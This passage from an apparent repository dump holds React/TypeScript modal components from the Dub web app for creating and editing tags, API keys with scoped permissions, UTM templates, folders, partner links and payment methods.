text-sm capitalize ring-current peer-focus-visible:ring-offset-2\",\n                    tagVariants,\n                    color === colorOption && \"ring-2\",\n                  )}\n                >\n                  {colorOption}\n                </Label>\n              </div>\n            ))}\n          </RadioGroup>\n        </div>\n\n        <Button\n          disabled={saveDisabled}\n          loading={saving}\n          text={props ? \"Save changes\" : \"Create tag\"}\n        />\n      </form>\n    </Modal>\n  );\n}\n\nfunction AddTagButton({\n  setShowAddEditTagModal,\n}: {\n  setShowAddEditTagModal: Dispatch<SetStateAction<boolean>>;\n}) {\n  const { slug, plan, tagsLimit, role } = useWorkspace();\n  const { tags } = useTags();\n  const exceededTags = tags && tagsLimit && tags.length >= tagsLimit;\n\n  const permissionsError = clientAccessCheck({\n    action: \"tags.write\",\n    role,\n  }).error;\n\n  useKeyboardShortcut(\"c\", () => setShowAddEditTagModal(true), {\n    enabled: !exceededTags && !permissionsError,\n  });\n\n  return (\n    <div>\n      <Button\n        variant=\"primary\"\n        text=\"Create tag\"\n        shortcut=\"C\"\n        className=\"h-9 rounded-lg\"\n        disabledTooltip={\n          exceededTags ? (\n            <TooltipContent\n              title={`You can only add up to ${tagsLimit} ${pluralize(\"tag\", tagsLimit || 0)} on the ${capitalize(plan)} plan. Upgrade to add more tags`}\n              cta=\"Upgrade\"\n              href={`/${slug}/upgrade`}\n            />\n          ) : (\n            permissionsError || undefined\n          )\n        }\n        onClick={() => setShowAddEditTagModal(true)}\n      />\n    </div>\n  );\n}\n\nexport function useAddEditTagModal({ props }: { props?: TagProps } = {}) {\n  const [showAddEditTagModal, setShowAddEditTagModal] = useState(false);\n\n  const AddEditTagModalCallback = useCallback(() => {\n    return (\n      <AddEditTagModal\n        showAddEditTagModal={showAddEditTagModal}\n        setShowAddEditTagModal={setShowAddEditTagModal}\n        props={props}\n      />\n    );\n  }, [showAddEditTagModal, setShowAddEditTagModal]);\n\n  const AddTagButtonCallback = useCallback(() => {\n    return <AddTagButton setShowAddEditTagModal={setShowAddEditTagModal} />;\n  }, [setShowAddEditTagModal]);\n\n  return useMemo(\n    () => ({\n      setShowAddEditTagModal,\n      AddEditTagModal: AddEditTagModalCallback,\n      AddTagButton: AddTagButtonCallback,\n    }),\n    [setShowAddEditTagModal, AddEditTagModalCallback, AddTagButtonCallback],\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/modals/add-edit-token-modal.tsx",
    "content": "import { ResourceKey, RESOURCES } from \"@/lib/api/rbac/resources\";\nimport {\n  getScopesByResourceForRole,\n  Scope,\n  scopePresets,\n} from \"@/lib/api/tokens/scopes\";\nimport { clientAccessCheck } from \"@/lib/client-access-check\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport {\n  AnimatedSizeContainer,\n  Button,\n  ButtonProps,\n  InfoTooltip,\n  Label,\n  Modal,\n  RadioGroup,\n  RadioGroupItem,\n  ToggleGroup,\n} from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\nimport {\n  Dispatch,\n  FormEvent,\n  SetStateAction,\n  useCallback,\n  useEffect,\n  useMemo,\n  useState,\n} from \"react\";\nimport { toast } from \"sonner\";\nimport { mutate } from \"swr\";\n\ntype APIKeyProps = {\n  id?: string;\n  name: string;\n  scopes: { [key: string]: Scope };\n  isMachine: boolean;\n};\n\ntype ScopePreset = \"all_access\" | \"read_only\" | \"restricted\";\n\nconst newToken: APIKeyProps = {\n  name: \"\",\n  scopes: { api: \"apis.all\" },\n  isMachine: false,\n};\n\nfunction AddEditTokenModal({\n  showAddEditTokenModal,\n  setShowAddEditTokenModal,\n  token,\n  onTokenCreated,\n  setSelectedToken,\n}: {\n  showAddEditTokenModal: boolean;\n  setShowAddEditTokenModal: Dispatch<SetStateAction<boolean>>;\n  token?: APIKeyProps;\n  onTokenCreated?: (token: string) => void;\n  setSelectedToken: Dispatch<SetStateAction<null>>;\n}) {\n  const [saving, setSaving] = useState(false);\n  const { id: workspaceId, role, isOwner, flags } = useWorkspace();\n  const [data, setData] = useState<APIKeyProps>(token || newToken);\n  const [preset, setPreset] = useState<ScopePreset>(\"all_access\");\n\n  useEffect(() => {\n    if (!token) {\n      return;\n    }\n\n    const scopes = Object.values(token.scopes);\n\n    if (scopes.includes(\"apis.all\")) {\n      setPreset(\"all_access\");\n    } else if (scopes.includes(\"apis.read\")) {\n      setPreset(\"read_only\");\n    } else {\n      setPreset(\"restricted\");\n    }\n  }, [token]);\n\n  // Determine the endpoint\n  const endpoint = useMemo(() => {\n    if (token) {\n      return {\n        method: \"PATCH\",\n        url: `/api/tokens/${token.id}?workspaceId=${workspaceId}`,\n        successMessage: \"API key updated!\",\n      };\n    } else {\n      return {\n        method: \"POST\",\n        url: `/api/tokens?workspaceId=${workspaceId}`,\n        successMessage: \"API key created!\",\n      };\n    }\n  }, [token]);\n\n  // Save the form data\n  const onSubmit = async (e: FormEvent) => {\n    e.preventDefault();\n    setSaving(true);\n\n    const response = await fetch(endpoint.url, {\n      method: endpoint.method,\n      headers: {\n        \"Content-Type\": \"application/json\",\n      },\n      body: JSON.stringify({\n        ...data,\n        scopes: Object.values(scopes).filter((v) => v),\n      }),\n    });\n\n    const result = await response.json();\n\n    if (response.ok) {\n      mutate(`/api/tokens?workspaceId=${workspaceId}`);\n      toast.success(endpoint.successMessage);\n      setShowAddEditTokenModal(false);\n      setSelectedToken(null);\n\n      if (!token) {\n        onTokenCreated?.(result.token);\n      }\n    } else {\n      setSaving(false);\n      toast.error(result.error.message);\n    }\n  };\n\n  const { name, scopes } = data;\n  const buttonDisabled =\n    (!name || token?.name === name) && token?.scopes === scopes;\n\n  const scopesByResources = transformScopesForUI(\n    getScopesByResourceForRole(role),\n  ).filter(({ name }) => name);\n\n  return (\n    <>\n      <Modal\n        showModal={showAddEditTokenModal}\n        setShowModal={setShowAddEditTokenModal}\n        className=\"max-w-lg\"\n        onClose={() => setSelectedToken(null)}\n      >\n        <h3 className=\"border-b border-neutral-200 px-4 py-4 text-lg font-medium sm:px-6\">\n          {token ? \"Edit\" : \"Create New\"} API Key\n        </h3>\n\n        <form\n          onSubmit={onSubmit}\n          className=\"flex flex-col space-y-4 bg-neutral-50 px-4 py-8 text-left sm:px-10\"\n        >\n          <div>\n            <label htmlFor=\"name\">\n              <h2 className=\"text-sm font-medium text-neutral-900\">Name</h2>\n            </label>\n            <div className=\"relative mt-2 rounded-md shadow-sm\">\n              <input\n                id=\"name\"\n                className=\"block w-full rounded-md border-neutral-300 text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\"\n                required\n                value={name}\n                onChange={(e) => setData({ ...data, name: e.target.value })}\n                autoFocus\n                autoComplete=\"off\"\n              />\n            </div>\n          </div>\n\n          {/* Can't change the type of the token */}\n          {!token && (\n            <div>\n              <h2 className=\"text-sm font-medium text-neutral-900\">Type</h2>\n              <RadioGroup\n                className=\"mt-2 flex\"\n                defaultValue=\"user\"\n                required\n                onValueChange={(value) =>\n                  setData({ ...data, isMachine: value === \"machine\" })\n                }\n              >\n                <div className=\"flex w-1/2 items-center space-x-2 rounded-md border border-neutral-300 bg-white transition-all hover:bg-neutral-50 active:bg-neutral-100\">\n                  <RadioGroupItem value=\"user\" id=\"user\" className=\"ml-3\" />\n                  <Label\n                    htmlFor=\"user\"\n                    className=\"flex flex-1 cursor-pointer items-center justify-between space-x-1 p-3 pl-0\"\n                  >\n                    <p className=\"text-neutral-600\">You</p>\n                    <InfoTooltip content=\"This API key will be tied to your user account – if you are removed from the workspace, it will be deleted. [Learn more](https://dub.co/docs/api-reference/tokens)\" />\n                  </Label>\n                </div>\n                <div\n                  className={cn(\n                    \"flex w-1/2 items-center space-x-2 rounded-md border border-neutral-300 bg-white transition-all hover:bg-neutral-50 active:bg-neutral-100\",\n                    {\n                      \"cursor-not-allowed opacity-75\": !isOwner,\n                    },\n                  )}\n                >\n                  <RadioGroupItem\n                    value=\"machine\"\n                    id=\"machine\"\n                    className=\"ml-3\"\n                    disabled={!isOwner}\n                  />\n                  <Label\n                    htmlFor=\"machine\"\n                    className={cn(\n                      \"flex flex-1 cursor-pointer items-center justify-between space-x-1 p-3 pl-0\",\n                      {\n                        \"cursor-not-allowed\": !isOwner,\n                      },\n                    )}\n                  >\n                    <p className=\"text-neutral-600\">Machine</p>\n                    <InfoTooltip\n                      content={\n                        isOwner\n                          ? \"A new bot member will be added to your workspace, and the key will be associated with it. Since the key is not tied to your account, it will not be deleted even if you leave the workspace. [Learn more](https://dub.co/docs/api-reference/tokens#machine-users)\"\n                          : \"Only the workspace owner can create machine users.\"\n                      }\n                    />\n                  </Label>\n                </div>\n              </RadioGroup>\n            </div>\n          )}\n\n          <div className=\"flex flex-col gap-2\">\n            <h2 className=\"text-sm font-medium text-neutral-900\">\n              Permissions\n            </h2>\n\n            <ToggleGroup\n              options={scopePresets}\n              selected={preset}\n              selectAction={(value: ScopePreset) => {\n                setPreset(value);\n\n                if (value === \"all_access\") {\n                  setData({ ...data, scopes: { api: \"apis.all\" } });\n                } else if (value === \"read_only\") {\n                  setData({ ...data, scopes: { api: \"apis.read\" } });\n                } else {\n                  setData({ ...data, scopes: {} });\n                }\n              }}\n              className=\"grid grid-cols-3 rounded-md border border-neutral-300 bg-neutral-100\"\n              optionClassName=\"w-full h-8 flex items-center justify-center text-sm text-neutral-800\"\n              indicatorClassName=\"rounded-md bg-white border border-neutral-300 shadow-sm\"\n            />\n          </div>\n\n          <AnimatedSizeContainer height>\n            <div className=\"p-1 pt-0 text-sm text-neutral-500\">\n              This API key will have{\" \"}\n              <span className=\"font-medium text-neutral-700\">\n                {scopePresets.find((p) => p.value === preset)?.description}\n              </span>\n            </div>\n            {preset === \"restricted\" && (\n              <div className=\"flex flex-col divide-y text-sm\">\n                {scopesByResources.map((resource) => (\n                  <div\n                    className=\"flex items-center justify-between py-4\"\n                    key={resource.key}\n                  >\n                    <div className=\"flex items-center gap-1.5\">\n                      <span className=\"text-sm font-medium text-neutral-800\">\n                        {resource.name}\n                      </span>\n                      <InfoTooltip content={resource.description} />\n                    </div>\n                    <div>\n                      <RadioGroup\n                        defaultValue={scopes[resource.key] || \"\"}\n                        className=\"flex gap-4\"\n                        onValueChange={(v: Scope) => {\n                          setData({\n                            ...data,\n                            scopes: {\n                              ...scopes,\n                              [resource.key]: v,\n                            },\n                          });\n                        }}\n                      >\n                        <div className=\"flex items-center space-x-2\">\n                          <RadioGroupItem value=\"\" />\n                          <div>None</div>\n                        </div>\n                        {resource.scopes.map((scope) => (\n                          <div\n                            className=\"flex items-center space-x-2\"\n                            key={scope.scope}\n                          >\n                            <RadioGroupItem value={scope.scope} />\n                            <div className=\"text-sm font-normal capitalize text-neutral-800\">\n                              {scope.type}\n                            </div>\n                          </div>\n                        ))}\n                      </RadioGroup>\n                    </div>\n                  </div>\n                ))}\n              </div>\n            )}\n          </AnimatedSizeContainer>\n\n          <Button\n            text={token ? \"Save changes\" : \"Create API key\"}\n            disabled={buttonDisabled}\n            loading={saving}\n          />\n        </form>\n      </Modal>\n    </>\n  );\n}\n\nfunction AddTokenButton({\n  setShowAddEditTokenModal,\n  buttonProps,\n}: {\n  setShowAddEditTokenModal: Dispatch<SetStateAction<boolean>>;\n  buttonProps?: Partial<ButtonProps>;\n}) {\n  const { role } = useWorkspace();\n\n  return (\n    <div>\n      <Button\n        text=\"Create API key\"\n        onClick={() => setShowAddEditTokenModal(true)}\n        disabledTooltip={\n          clientAccessCheck({\n            action: \"tokens.write\",\n            role,\n            customPermissionDescription: \"create new API keys\",\n          }).error || undefined\n        }\n        className=\"h-9 px-3\"\n        {...buttonProps}\n      />\n    </div>\n  );\n}\n\nexport function useAddEditTokenModal({\n  token,\n  onTokenCreated,\n  setSelectedToken,\n}: {\n  token?: APIKeyProps;\n  onTokenCreated?: (token: string) => void;\n  setSelectedToken: Dispatch<SetStateAction<null>>;\n}) {\n  const [showAddEditTokenModal, setShowAddEditTokenModal] = useState(false);\n\n  const AddEditTokenModalCallback = useCallback(() => {\n    return (\n      <AddEditTokenModal\n        showAddEditTokenModal={showAddEditTokenModal}\n        setShowAddEditTokenModal={setShowAddEditTokenModal}\n        token={token}\n        onTokenCreated={onTokenCreated}\n        setSelectedToken={setSelectedToken}\n      />\n    );\n  }, [showAddEditTokenModal, setShowAddEditTokenModal]);\n\n  const AddTokenButtonCallback = useCallback(() => {\n    return (\n      <AddTokenButton setShowAddEditTokenModal={setShowAddEditTokenModal} />\n    );\n  }, [setShowAddEditTokenModal]);\n\n  return useMemo(\n    () => ({\n      setShowAddEditTokenModal,\n      AddEditTokenModal: AddEditTokenModalCallback,\n      AddTokenButton: AddTokenButtonCallback,\n    }),\n    [\n      setShowAddEditTokenModal,\n      AddEditTokenModalCallback,\n      AddTokenButtonCallback,\n    ],\n  );\n}\n\nconst transformScopesForUI = (scopedResources) => {\n  return Object.keys(scopedResources).map((resourceKey: ResourceKey) => {\n    return {\n      ...RESOURCES.find((r) => r.key === resourceKey)!,\n      scopes: scopedResources[resourceKey],\n    };\n  });\n};\n"
  },
  {
    "path": "apps/web/ui/modals/add-edit-utm-template.modal.tsx",
    "content": "import useWorkspace from \"@/lib/swr/use-workspace\";\nimport { UtmTemplateProps } from \"@/lib/types\";\nimport {\n  Button,\n  Modal,\n  useKeyboardShortcut,\n  useMediaQuery,\n  UTMBuilder,\n} from \"@dub/ui\";\nimport {\n  Dispatch,\n  SetStateAction,\n  useCallback,\n  useMemo,\n  useState,\n} from \"react\";\nimport { useForm } from \"react-hook-form\";\nimport { toast } from \"sonner\";\nimport { mutate } from \"swr\";\n\nfunction AddEditUtmTemplateModal({\n  showAddEditUtmTemplateModal,\n  setShowAddEditUtmTemplateModal,\n  props,\n}: {\n  showAddEditUtmTemplateModal: boolean;\n  setShowAddEditUtmTemplateModal: Dispatch<SetStateAction<boolean>>;\n  props?: UtmTemplateProps;\n}) {\n  const { id } = props || {};\n  const { id: workspaceId } = useWorkspace();\n  const { isMobile } = useMediaQuery();\n\n  const {\n    register,\n    handleSubmit,\n    setValue,\n    setError,\n    formState: { isSubmitting, isSubmitSuccessful, dirtyFields },\n    watch,\n  } = useForm<\n    Pick<\n      UtmTemplateProps,\n      | \"name\"\n      | \"utm_campaign\"\n      | \"utm_content\"\n      | \"utm_medium\"\n      | \"utm_source\"\n      | \"utm_term\"\n      | \"ref\"\n    >\n  >({\n    values: props,\n  });\n\n  const values = watch();\n\n  const endpoint = useMemo(\n    () =>\n      id\n        ? {\n            method: \"PATCH\",\n            url: `/api/utm/${id}?workspaceId=${workspaceId}`,\n            successMessage: \"Successfully updated template!\",\n          }\n        : {\n            method: \"POST\",\n            url: `/api/utm?workspaceId=${workspaceId}`,\n            successMessage: \"Successfully added template!\",\n          },\n    [id],\n  );\n\n  return (\n    <Modal\n      showModal={showAddEditUtmTemplateModal}\n      setShowModal={setShowAddEditUtmTemplateModal}\n    >\n      <form\n        onSubmit={handleSubmit(async (data) => {\n          try {\n            const res = await fetch(endpoint.url, {\n              method: endpoint.method,\n              headers: {\n                \"Content-Type\": \"application/json\",\n              },\n              body: JSON.stringify(data),\n            });\n\n            if (!res.ok) {\n              const { error } = await res.json();\n              toast.error(error.message);\n              setError(\"root\", { message: error.message });\n              return;\n            }\n\n            await mutate(`/api/utm?workspaceId=${workspaceId}`);\n            toast.success(endpoint.successMessage);\n            setShowAddEditUtmTemplateModal(false);\n          } catch (e) {\n            toast.error(\"Failed to save template\");\n            setError(\"root\", { message: \"Failed to save template\" });\n          }\n        })}\n        className=\"px-5 py-4\"\n      >\n        <div className=\"flex items-center gap-2\">\n          <h3 className=\"text-lg font-medium\">\n            {props ? \"Edit UTM Template\" : \"Create UTM Template\"}\n          </h3>\n        </div>\n        <div className=\"mt-6\">\n          <label htmlFor=\"name\">\n            <span className=\"block text-sm font-medium text-neutral-700\">\n              Template Name\n            </span>\n            <div className=\"mt-2 flex rounded-md shadow-sm\">\n              <input\n                type=\"text\"\n                autoFocus={!isMobile}\n                autoComplete=\"off\"\n                className=\"block w-full rounded-md border-neutral-300 text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\"\n                placeholder=\"New Template\"\n                {...register(\"name\", { required: true })}\n              />\n            </div>\n          </label>\n        </div>\n\n        <div className=\"mt-6\">\n          <span className=\"mb-2 block text-sm font-medium text-neutral-700\">\n            Parameters\n          </span>\n          <UTMBuilder\n            values={values}\n            onChange={(key, value) => {\n              setValue(key, value, { shouldDirty: true });\n            }}\n          />\n        </div>\n\n        <div className=\"mt-6 flex justify-end\">\n          <Button\n            // Check all dirty fields because `isDirty` doesn't seem to register for `ref`\n            disabled={!Object.entries(dirtyFields).some(([_, dirty]) => dirty)}\n            loading={isSubmitting || isSubmitSuccessful}\n            text={props ? \"Save changes\" : \"Create template\"}\n            className=\"h-9 w-fit\"\n          />\n        </div>\n      </form>\n    </Modal>\n  );\n}\n\nfunction AddUtmTemplateButton({\n  setShowAddEditUtmTemplateModal,\n}: {\n  setShowAddEditUtmTemplateModal: Dispatch<SetStateAction<boolean>>;\n}) {\n  useKeyboardShortcut(\"c\", () => setShowAddEditUtmTemplateModal(true));\n\n  return (\n    <div>\n      <Button\n        variant=\"primary\"\n        text=\"Create template\"\n        shortcut=\"C\"\n        className=\"h-9 rounded-lg\"\n        onClick={() => setShowAddEditUtmTemplateModal(true)}\n      />\n    </div>\n  );\n}\n\nexport function useAddEditUtmTemplateModal({\n  props,\n}: { props?: UtmTemplateProps } = {}) {\n  const [showAddEditUtmTemplateModal, setShowAddEditUtmTemplateModal] =\n    useState(false);\n\n  const AddEditUtmTemplateModalCallback = useCallback(() => {\n    return (\n      <AddEditUtmTemplateModal\n        showAddEditUtmTemplateModal={showAddEditUtmTemplateModal}\n        setShowAddEditUtmTemplateModal={setShowAddEditUtmTemplateModal}\n        props={props}\n      />\n    );\n  }, [showAddEditUtmTemplateModal, setShowAddEditUtmTemplateModal]);\n\n  const AddUtmTemplateButtonCallback = useCallback(() => {\n    return (\n      <AddUtmTemplateButton\n        setShowAddEditUtmTemplateModal={setShowAddEditUtmTemplateModal}\n      />\n    );\n  }, [setShowAddEditUtmTemplateModal]);\n\n  return useMemo(\n    () => ({\n      setShowAddEditUtmTemplateModal,\n      AddEditUtmTemplateModal: AddEditUtmTemplateModalCallback,\n      AddUtmTemplateButton: AddUtmTemplateButtonCallback,\n    }),\n    [\n      setShowAddEditUtmTemplateModal,\n      AddEditUtmTemplateModalCallback,\n      AddUtmTemplateButtonCallback,\n    ],\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/modals/add-folder-modal.tsx",
    "content": "import { clientAccessCheck } from \"@/lib/client-access-check\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { FolderSummary } from \"@/lib/types\";\nimport { Button, Modal, TooltipContent, useKeyboardShortcut } from \"@dub/ui\";\nimport {\n  Dispatch,\n  SetStateAction,\n  useCallback,\n  useMemo,\n  useState,\n} from \"react\";\nimport { AddFolderForm } from \"../folders/add-folder-form\";\n\ninterface AddFolderModalProps {\n  showModal: boolean;\n  setShowModal: (showModal: boolean) => void;\n  onSuccess?: (folder: FolderSummary) => void;\n}\n\nconst AddFolderModal = ({\n  showModal,\n  setShowModal,\n  onSuccess,\n}: AddFolderModalProps) => {\n  return (\n    <Modal showModal={showModal} setShowModal={setShowModal}>\n      <AddFolderForm\n        onSuccess={(folder) => {\n          onSuccess?.(folder);\n          setShowModal(false);\n        }}\n        onCancel={() => setShowModal(false)}\n      />\n    </Modal>\n  );\n};\n\nfunction AddFolderButton({\n  setShowAddFolderModal,\n}: {\n  setShowAddFolderModal: Dispatch<SetStateAction<boolean>>;\n}) {\n  const { slug, plan, role } = useWorkspace();\n\n  const permissionsError = clientAccessCheck({\n    action: \"folders.write\",\n    role,\n  }).error;\n\n  useKeyboardShortcut(\"c\", () => setShowAddFolderModal(true), {\n    enabled: plan !== \"free\" && !permissionsError,\n  });\n\n  return (\n    <Button\n      text=\"Create folder\"\n      shortcut=\"C\"\n      onClick={() => setShowAddFolderModal(true)}\n      className=\"h-9 w-fit\"\n      disabledTooltip={\n        plan === \"free\" ? (\n          <TooltipContent\n            title=\"You can only use Link Folders on a Pro plan and above. Upgrade to Pro to continue.\"\n            cta=\"Upgrade to Pro\"\n            href={`/${slug}/upgrade`}\n          />\n        ) : (\n          permissionsError || undefined\n        )\n      }\n    />\n  );\n}\n\nexport function useAddFolderModal({\n  onSuccess,\n}: { onSuccess?: (folder: FolderSummary) => void } = {}) {\n  const [showAddFolderModal, setShowAddFolderModal] = useState(false);\n\n  const AddFolderModalCallback = useCallback(() => {\n    return (\n      <AddFolderModal\n        showModal={showAddFolderModal}\n        setShowModal={setShowAddFolderModal}\n        onSuccess={onSuccess}\n      />\n    );\n  }, [showAddFolderModal, setShowAddFolderModal]);\n\n  const AddFolderButtonCallback = useCallback(() => {\n    return <AddFolderButton setShowAddFolderModal={setShowAddFolderModal} />;\n  }, [setShowAddFolderModal]);\n\n  return useMemo(\n    () => ({\n      setShowAddFolderModal,\n      AddFolderModal: AddFolderModalCallback,\n      AddFolderButton: AddFolderButtonCallback,\n    }),\n    [setShowAddFolderModal, AddFolderModalCallback, AddFolderButtonCallback],\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/modals/add-partner-link-modal.tsx",
    "content": "import { extractUtmParams } from \"@/lib/api/utm/extract-utm-params\";\nimport useGroup from \"@/lib/swr/use-group\";\nimport useProgram from \"@/lib/swr/use-program\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { EnrolledPartnerProps, LinkProps } from \"@/lib/types\";\nimport { DEFAULT_PARTNER_GROUP } from \"@/lib/zod/schemas/groups\";\nimport { UtmTemplate } from \"@dub/prisma/client\";\nimport {\n  ArrowTurnLeft,\n  Button,\n  InfoTooltip,\n  Modal,\n  useCopyToClipboard,\n  useMediaQuery,\n} from \"@dub/ui\";\nimport { constructURLFromUTMParams } from \"@dub/utils\";\nimport { useCallback, useMemo, useRef, useState } from \"react\";\nimport { useForm } from \"react-hook-form\";\nimport { toast } from \"sonner\";\nimport { mutate } from \"swr\";\nimport { X } from \"../shared/icons\";\n\ninterface AddPartnerLinkModalProps {\n  showModal: boolean;\n  setShowModal: (showModal: boolean) => void;\n  onSuccess?: (link: LinkProps) => void;\n  partner: Pick<EnrolledPartnerProps, \"id\" | \"email\" | \"groupId\">;\n}\n\ninterface FormData {\n  key: string;\n  url: string;\n}\n\nconst AddPartnerLinkModal = ({\n  showModal,\n  setShowModal,\n  onSuccess,\n  partner,\n}: AddPartnerLinkModalProps) => {\n  const { program } = useProgram();\n  const { isMobile } = useMediaQuery();\n  const { id: workspaceId } = useWorkspace();\n  const [, copyToClipboard] = useCopyToClipboard();\n  const formRef = useRef<HTMLFormElement>(null);\n  const [isSubmitting, setIsSubmitting] = useState(false);\n  const [errorMessage, setErrorMessage] = useState<string | null>(null);\n\n  const { register, handleSubmit, watch } = useForm<FormData>({\n    defaultValues: {\n      key: \"\",\n      url: program?.url || \"\",\n    },\n  });\n\n  const { group: partnerGroup } = useGroup({\n    groupIdOrSlug: partner.groupId ?? DEFAULT_PARTNER_GROUP.slug,\n  });\n\n  const [key, url] = watch([\"key\", \"url\"]);\n\n  const onSubmit = async (formData: FormData) => {\n    if (!program?.id || !partner.id) {\n      return;\n    }\n\n    setIsSubmitting(true);\n    setErrorMessage(null);\n\n    try {\n      const response = await fetch(`/api/links?workspaceId=${workspaceId}`, {\n        method: \"POST\",\n        headers: {\n          \"Content-Type\": \"application/json\",\n        },\n        body: JSON.stringify({\n          ...formData,\n          partnerId: partner.id,\n          programId: program.id,\n          domain: program.domain,\n          url: constructURLFromUTMParams(\n            url,\n            extractUtmParams(partnerGroup?.utmTemplate as UtmTemplate),\n          ),\n          ...extractUtmParams(partnerGroup?.utmTemplate as UtmTemplate, {\n            excludeRef: true,\n          }),\n          trackConversion: true,\n          folderId: program.defaultFolderId,\n        }),\n      });\n\n      const data = await response.json();\n\n      if (!response.ok) {\n        throw new Error(data.error.message);\n      }\n\n      await mutate(`/api/partners/${partner.id}?workspaceId=${workspaceId}`);\n      toast.success(\"Link created successfully!\");\n      onSuccess?.(data);\n      setShowModal(false);\n      copyToClipboard(data.shortLink);\n    } catch (error) {\n      setErrorMessage(\n        error instanceof Error ? error.message : \"Failed to create link.\",\n      );\n    } finally {\n      setIsSubmitting(false);\n    }\n  };\n\n  return (\n    <Modal\n      showModal={showModal}\n      setShowModal={setShowModal}\n      className=\"max-w-lg\"\n    >\n      <form ref={formRef} onSubmit={handleSubmit(onSubmit)}>\n        <div className=\"flex flex-col items-start justify-between gap-4 px-6 py-4\">\n          <div className=\"flex w-full items-center justify-between\">\n            <h3 className=\"text-lg font-medium\">New partner link</h3>\n            <button\n              type=\"button\"\n              onClick={() => setShowModal(false)}\n              className=\"group rounded-full p-2 text-neutral-500 transition-all duration-75 hover:bg-neutral-100 focus:outline-none active:bg-neutral-200\"\n            >\n              <X className=\"h-5 w-5\" />\n            </button>\n          </div>\n\n          <div className=\"flex w-full flex-col gap-6\">\n            <div className=\"flex flex-col gap-2\">\n              <div className=\"flex items-center justify-between\">\n                <div className=\"flex items-center gap-2\">\n                  <label\n                    htmlFor=\"key\"\n                    className=\"block text-sm font-medium text-neutral-700\"\n                  >\n                    Short Link\n                  </label>\n\n                  <InfoTooltip content=\"This is the short link that will redirect to your destination URL. [Learn more.](https://dub.co/help/article/how-to-create-link)\" />\n                </div>\n              </div>\n\n              <div className=\"flex\">\n                <span className=\"inline-flex items-center rounded-l-md border border-r-0 border-neutral-300 bg-neutral-50 px-3 text-neutral-500 sm:text-sm\">\n                  {program?.domain}\n                </span>\n\n                <input\n                  {...register(\"key\", { required: true })}\n                  type=\"text\"\n                  id=\"key\"\n                  autoFocus={!isMobile}\n                  className={\n                    \"block w-full rounded-r-md border-neutral-300 text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\"\n                  }\n                  placeholder={partner.email?.split(\"@\")[0] || \"short-link\"}\n                />\n              </div>\n\n              {errorMessage && (\n                <span className=\"text-sm text-red-600 dark:text-red-400\">\n                  {errorMessage}\n                </span>\n              )}\n            </div>\n\n            <div className=\"flex flex-col gap-2\">\n              <div className=\"flex items-center gap-2\">\n                <label\n                  htmlFor=\"url\"\n                  className=\"block text-sm font-medium text-neutral-700\"\n                >\n                  Destination URL\n                </label>\n\n                <InfoTooltip content=\"The URL your users will get redirected to when they visit your short link. [Learn more.](https://dub.co/help/article/how-to-create-link)\" />\n              </div>\n\n              <div className=\"relative flex rounded-md shadow-sm\">\n                <input\n                  {...register(\"url\", { required: false })}\n                  type=\"text\"\n                  placeholder=\"(optional)\"\n                  className=\"z-0 block w-full rounded-md border-neutral-300 text-neutral-900 placeholder-neutral-400 focus:z-[1] focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\"\n                />\n              </div>\n            </div>\n          </div>\n        </div>\n\n        <div className=\"flex items-center justify-end border-t border-neutral-200 bg-neutral-50 p-4\">\n          <Button\n            type=\"submit\"\n            text={\n              <span className=\"flex items-center gap-2\">\n                Create link\n                <div className=\"rounded border border-white/20 p-1\">\n                  <ArrowTurnLeft className=\"size-3.5\" />\n                </div>\n              </span>\n            }\n            className=\"h-8 w-fit pl-2.5 pr-1.5\"\n            loading={isSubmitting}\n            disabled={!key}\n          />\n        </div>\n      </form>\n    </Modal>\n  );\n};\n\nexport function useAddPartnerLinkModal({\n  onSuccess,\n  partner,\n}: {\n  onSuccess?: (link: LinkProps) => void;\n  partner: Pick<EnrolledPartnerProps, \"id\" | \"email\" | \"groupId\">;\n}) {\n  const [showAddPartnerLinkModal, setShowAddPartnerLinkModal] = useState(false);\n\n  const AddPartnerLinkModalCallback = useCallback(() => {\n    return (\n      <AddPartnerLinkModal\n        showModal={showAddPartnerLinkModal}\n        setShowModal={setShowAddPartnerLinkModal}\n        onSuccess={onSuccess}\n        partner={partner}\n      />\n    );\n  }, [showAddPartnerLinkModal, setShowAddPartnerLinkModal, partner]);\n\n  return useMemo(\n    () => ({\n      setShowAddPartnerLinkModal,\n      AddPartnerLinkModal: AddPartnerLinkModalCallback,\n    }),\n    [setShowAddPartnerLinkModal, AddPartnerLinkModalCallback],\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/modals/add-payment-method-modal.tsx",
    "content": "\"use client\";\n\nimport { DIRECT_DEBIT_PAYMENT_TYPES_INFO } from \"@/lib/constants/payouts\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { X } from \"@/ui/shared/icons\";\nimport { AnimatedSizeContainer, GreekTemple, Modal } from \"@dub/ui\";\nimport { cn, COUNTRIES } from \"@dub/utils\";\nimport { useRouter } from \"next/navigation\";\nimport { CSSProperties, Dispatch, SetStateAction, useState } from \"react\";\nimport { toast } from \"sonner\";\nimport Stripe from \"stripe\";\n\nfunction AddPaymentMethodModal({\n  showAddPaymentMethodModal,\n  setShowAddPaymentMethodModal,\n}: {\n  showAddPaymentMethodModal: boolean;\n  setShowAddPaymentMethodModal: Dispatch<SetStateAction<boolean>>;\n}) {\n  return (\n    <Modal\n      showModal={showAddPaymentMethodModal}\n      setShowModal={setShowAddPaymentMethodModal}\n      className=\"max-h-[calc(100dvh-100px)] max-w-xl\"\n    >\n      <AddPaymentMethodModalInner\n        setShowAddPaymentMethodModal={setShowAddPaymentMethodModal}\n      />\n    </Modal>\n  );\n}\n\nfunction AddPaymentMethodModalInner({\n  setShowAddPaymentMethodModal,\n}: {\n  setShowAddPaymentMethodModal: Dispatch<SetStateAction<boolean>>;\n}) {\n  const router = useRouter();\n  const { slug, plan } = useWorkspace();\n  const [isLoading, setIsLoading] = 